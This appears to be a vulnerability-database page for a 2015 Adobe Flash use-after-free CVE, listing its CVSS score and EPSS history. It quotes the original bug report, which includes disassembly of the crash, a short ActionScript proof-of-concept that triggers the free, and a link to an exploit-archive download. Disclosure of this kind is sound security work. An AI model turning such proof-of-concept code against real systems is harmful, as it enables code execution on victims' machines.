CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3118, CVE-2015-3124, CVE-2015-3127, CVE-2015-3129, CVE-2015-3131, CVE-2015-3132, CVE-2015-3136, CVE-2015-3137, CVE-2015-4428, CVE-2015-4430, and CVE-2015-5117.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
46.96%
–
–
2022-11-13
–
–
46.96%
–
–
2022-11-20
–
–
46.96%
–
–
2022-12-04
–
–
46.96%
–
–
2023-03-12
–
–
–
90.27%
–
2023-04-02
–
–
–
90.53%
–
2023-05-07
–
–
–
88.27%
–
2023-07-09
–
–
–
90.71%
–
2023-10-15
–
–
–
90.66%
–
2023-11-12
–
–
–
90.53%
–
2024-03-17
–
–
–
90.19%
–
2024-06-02
–
–
–
90.19%
–
2024-11-17
–
–
–
90.64%
–
2024-12-22
–
–
–
70.65%
–
2025-01-05
–
–
–
67.6%
–
2025-01-19
–
–
–
67.6%
–
2025-03-18
–
–
–
–
51.46%
2025-03-30
–
–
–
–
42.69%
2025-04-06
–
–
–
–
51.46%
2025-04-11
–
–
–
–
42.69%
2025-04-12
–
–
–
–
51.46%
2025-04-16
–
–
–
–
42.69%
2025-04-16
–
–
–
–
42.69,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Source: https://code.google.com/p/google-security-research/issues/detail?id=367&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for Chromium VRP bug https://code.google.com/p/chromium/issues/detail?id=484610]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
When calling Color.setRGB in AS2 it is possible to free the target_mc object used in the Color constructor while a reference remains in the stack.
VERSION
Chrome Version: Chrome stable 42.0.2311.90 with Flash 17.0.0.169
Operating System: Win7 x64 SP1
REPRODUCTION CASE
The Color constructor needs a target_mc object like a MovieClip, a TextField etc. While calling Color.setRGB with a custom object, it is possible to execute arbitrary AS2 code that might delete the target_mc object leading to a UAF.
(These lines come from flashplayer17_sa.exe 17.0.0.169):
.text:004B82D0 push esi
.text:004B82D1 mov esi, [esp+4+arg_0]
.text:004B82D5 push edi
.text:004B82D6 mov edi, ecx
.text:004B82D8 mov ecx, [edi+94h] ; edi points to freed memory
.text:004B82DE and ecx, 0FFFFFFFEh
.text:004B82E1 add ecx, 3Ch
.text:004B82E4 mov eax, esi
.text:004B82E6 call sub_4B0724 ; crash below
...
.text:004B0724 mov edx, [ecx] ; crash here ecx = 3ch (null pointer)
.text:004B0726 cmp edx, [eax]
.text:004B0728 jnz short loc_4B077E
Compile the poc with Flash CS5.5
***************************************************************************
Content of as2_color_uaf.fla:
var tf:TextField = this.createTextField("tf",1,1,1,4,4)
var o = new Object()
o.valueOf = function () {
tf.removeTextField()
return 0x41414142
}
var c = new Color(tf)
c.setRGB(o)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37860.zip